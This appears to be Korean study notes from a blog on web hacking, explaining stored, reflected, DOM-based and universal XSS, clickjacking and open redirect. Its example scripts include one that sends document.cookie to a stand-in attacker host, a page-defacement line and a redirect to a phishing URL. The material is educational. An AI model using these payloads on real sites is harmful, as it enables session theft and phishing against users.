XSS (Client Side)

yamewrong·2023년 1월 4일
0

웹해킹

목록 보기
6/14
post-thumbnail

XSS

Cross Site Scripting

CSS가 아니라 XSS라고 불리는 이유는 CSS언어랑 중복으로 헷갈려서 ㅋㅋ

악의적 사용자가 웹 리소스에 악성 스크립트를 삽입하는 것.

Stored XSS
-> XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
Reflectd XSS
-> XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS
-> XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS ; Framgment는 서버 요청/응답 에 포함되지 않는다.
Universal XSS
-> 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

XSS 스크립트 예시

스크립트 문이 진짜 다양하다

쿠키 및 세션 탈취 공격 하는 코드

<script>
//"hello"문자열을 alert 하려면?
alert("hello"); 
//현재 페이지의 쿠키를 alert 하려면?
alert(document.cookie);
//쿠키를 생성하는 스크립트? (key: name, value:test)
document.cookie="name=test;";
// new Image() 는 이미지를 생성하는 함수.
// src는 이미지의 주소를 지정
// 공격자의 주소를 http://hacker.dreamhack.io라고 한다.
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하면?  
//공격자 주소로 현재 페이지의 쿠키 요청
new Image().src = "http://hacker.dreamhack.io/?cookie="+document.cookie;
</script>

페이지 변조 공격 코드

<script>
//이용자의 페이지 정보에 접근하기 ?
document;
//이용자의 페이지에 데이터를 삽입
document.write("Hacked By Yamewrong !");
</script>

위치 이동 공격 코드

<script>
//이용자의 위치를 변경한다->피싱 공격 등에 사용 가능
location.href="http://hacker.dreamhack.io/phishing";
//새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

Stored XSS

이거는 흔히 게시판 같은 공간에 내용물로 스크립트 저장하는 그런거
Stored XSS는 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS.

Reflected XSS

이거는 이제 URL에 때려 박았던 그런 거
일부 서비스에서 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다.
이는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생한다.
따라서, 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 하므로 script가 포함되어 있는지 눈치채지 못하게 Click Jacking, Open Redirect 등 다른 취약점과 연계.

Click Jacking
사용자가 클릭하고 있다고 인지하는것과 다른 어떤것을 클릭하게 속이는 것.

Open Redirect
사용자로부터 입력되는 값을 위조 또는 변조하여 일반 사용자를 악의적인 사이트로 이동시키는 것.

0개의 댓글

관련 채용 정보